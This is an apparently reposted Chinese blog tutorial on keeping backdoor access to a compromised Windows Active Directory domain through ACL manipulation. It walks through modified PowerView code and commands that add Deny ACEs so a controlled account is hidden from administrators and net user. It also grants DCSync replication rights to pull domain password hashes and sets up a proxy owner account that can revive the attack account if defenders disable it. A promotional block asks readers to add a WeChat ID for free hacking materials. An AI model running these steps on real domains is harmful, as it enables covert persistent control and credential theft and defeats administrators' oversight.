如何在Windows AD域中駐留ACL後門
前言
當拿下域控許可權時，為了維持許可權，常常需要駐留一些後門，從而達到長期控制的目的。Windows AD域後門五花八門，除了常規的的新增隱藏使用者、啟動項、計劃任務、抓取登入時的密碼，還有一些基於ACL的後門。
ACL介紹
ACL是一個訪問控制列表，是整個訪問控制模型（ACM）的實現的總稱。常說的ACL主要分為兩類，分別為特定物件安全描述符的自由訪問控制列表 (DACL) 和系統訪問控制列表 (SACL)。物件的 DACL 和 SACL 都是訪問控制條目 (ACE) 的集合，ACE控制著物件指定允許、拒絕或審計的訪問許可權，其中Deny拒絕優先於Allow允許。
安全描述符包含與安全物件關聯的安全資訊。 安全描述符由
1、物件所有者和主組的安全識別符號 (SID) 。
2、指定允許或拒絕特定使用者或組的訪問許可權的 DACL 。
3、一個 SACL ，指定為物件生成稽核記錄的訪問嘗試的型別。
4、一組控制位，用於限定安全描述符或其單個成員的含義。
隱藏安全描述符
當可控一個使用者時，不想該使用者被輕易發現，可以對其進行隱藏。首先檢視該使用者所用者，預設是域管組：
可以在GUI上對所有者進行修改，也可以使用powerview進行修改：
Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo
修改完成後：
因為是許可權維持，所以當前許可權是域管，先嚐試給域管新增一個對jumbo使用者Deny所有許可權的ACL，但是發現powerview的Add-DomainObjectAcl方法並沒有設定Deny許可權的操作，只有Allow：
當然，你可以使用New-ADObjectAccessControlEntry來完成手動ACL的新增，他的原理如下圖：
上圖看出還要手動做最後的ACL儲存。既然Add-DomainObjectAcl已經完成了自動化的CommitChanges，直接把Allow預設可變的引數不就行了？首先手動在Add-DomainObjectAcl新增一個AccessControlType
.PARAMETER AccessControlType
Specifies the type of ACE (allow or deny)
設定引數定義：
[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,
刪除之前的預設的Allow：
最後把AccessControlType引數替換之前的ControlType：
現在就可以在使用AccessControlType引數來給物件新增Allow或者Deny的許可權了。
【----幫助網安學習，以下所有學習資料免費領！加vx：yj009991，備註 “部落格園” 獲取！】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集（含答案）
⑧ APP客戶端安全檢測指南（安卓+IOS）
當嘗試域管新增一個對jumbo使用者Deny所有許可權的ACL後：
Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny
當然，把SID改成SamAccountName也是可以的：
Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny
可以發現域管也沒許可權檢視jumbo使用者的屬性了：
當使用system使用者檢視jumbo使用者ACL時，可以看到對應的Deny的ACL：
現在域管對jumbo使用者已經無法操作任何東西了，先用system使用者刪除該Deny許可權，準備使用powerview的Remove-DomainObjectAcl方法時，發現也只有的Allow，也就是預設只能移除物件的Allow許可權，老方法，把刪除的ACL屬性設定為可變引數：
進行刪除：
Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny
當然，把SID改成SamAccountName也是可以的：
Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny
那麼同學們可能會想，如果真的有人進行了上面操作，真的沒辦法查看了嗎，實際上並不是，物件的擁有者是有許可權修改的，比如把jumbo使用者的擁有者改成預設的域管組，然後對域管進行設定Deny的ACL，但是實際上擁有者依然有許可權修改其ACL，這也是為什麼在文章開始的時候，要把jumbo擁有者設定為jumbo的目的：
上面嘗試了拒絕域管對jumbo所有的許可權，那為了隱藏，並且為了防止後續還要對jumbo使用者的一些其他修改，實際上可以對jumbo使用者設定everyone拒絕讀取的許可權即可：
現在所有使用者對其都沒有檢視許可權了：
當然，只是設定了拒絕讀取許可權，實際上當域管去修改其ACL許可權時，還是可以的：
現在通過net user命令已經看不到jumbo這個使用者了：
在“使用者和計算機”裡看使用者長這樣：
從上面的操作可以發現，給everyone使用者新增拒絕讀取許可權時是通過GUI實現的，因為everyone使用者是個特殊的使用者，屬於特殊身份群體，是一個屬於Well-known SIDs的使用者，其對應的SID為S-1-1-0：
當嘗試使用powerview的Add-DomainObjectAcl方法是無法完成給everyone使用者新增ACL的：
通過檢視powerview的程式碼，會通過Get-ObjectAcl方法獲取對應使用者的SID，但是剛剛提到，everyone使用者是個特殊的使用者，導致查不到：
但是看了下還有個New-ADObjectAccessControlEntry方法，會判斷輸入的PrincipalIdentity引數是不是SID，如果是SID就不走查詢，因此可以照葫蘆畫瓢，把這個判斷加到Add-DomainObjectAcl方法中：
if ($PrincipalIdentity -notmatch '^S-1-.*') { $PrincipalSearcherArguments = @{ 'Identity' = $PrincipalIdentity 'Properties' = 'distinguishedname,objectsid' } if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } $Principal = Get-DomainObject @PrincipalSearcherArguments if (-not $Principal) { throw "Unable to resolve principal: $PrincipalIdentity" } elseif($Principal.Count -gt 1) { throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" } $ObjectSid = $Principal.objectsid Write-Host ($ObjectSid) } else { Write-Host "..sid.." $ObjectSid = $PrincipalIdentity } $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)
現在嘗試下，給jumbo2使用者新增everyone所有拒絕的ACL：
Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny
Remove-DomainObjectAcl方法同理。
隱藏主體
通過上面的步驟，除了jumbo使用者本身可以檢視jumbo使用者以為，其他使用者都沒有ReadControl許可權，但是在“Active Directory使用者和計算機管理”裡還是可以看到，雖然ico圖示都沒了，接下來要讓在“Active Directory使用者和計算機管理”裡也看不到。為了方便演示，筆者把jumbo使用者移到一個單獨的OU組裡：
然後給這個OU設定everyone拒絕讀取許可權即可：
遇到一些粗心大意的管理員，可能會覺得這只是無意殘留的無害物質，無傷大雅。
Dcsync
Dcsync實際上就是給使用者設定兩條擴充套件許可權，分別為：
DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
當用戶擁有這兩條ACL後，即可使用DRS協議獲取域hash憑據。給使用者在域物件上新增Dcsync許可權即可：
代理賬號
上面提到，把jumbo使用者擁有者改成自身，然後設定everyone對其沒有讀取許可權，這樣就可以達到隱藏jumbo，然後手上的jumbo使用者就可以肆無忌憚的做一些操作。但是有個問題，萬一做操作的時候，該使用者被發現了，管理員把該使用者進行了禁用，那好不容易獲取到的賬號就廢了。為了防止賬號被發現後被禁用/被改密碼不可用，應該設定個代理賬號，把準備拿來攻擊的賬號（某個管理員使用者或者有dcsync類似許可權的賬號）的擁有者設定代理賬號，代理賬號是其擁有所有者，然後設定所有使用者對攻擊賬號都不可操作，最後每次都可以使用代理賬號控制攻擊賬號，就算攻擊賬號被禁用/被改密碼，也可以使用代理賬號來重新啟用他。
首先攻擊賬號為attack，代理賬號為good，首先設定attack賬號所有者為good：
Set-DomainObjectOwner -identity attack -OwnerIdentity good
給attack賬號新增dcsync許可權：
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow
設定attack都不可操作：
Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny
這個時候，如果attack在發起攻擊的時候被管理員發現了，把attack賬號密碼重置了，但是good賬號是attack賬號的擁有者，可以修改attack賬號的ACL，比如給自己新增修改密碼的許可權，然後去重置attack賬號的密碼，然後就又可以拿來攻擊了。
總結
本文主要講了在Windows域中如何利用ACL進行後門隱藏，並對powerview進行修改使其支援在新增ACL或者刪除ACL時可以指定Allow或者Deny，也可以選擇everyone此類特殊使用者。
更多靶場實驗練習、網安學習資料，請點選這裡>>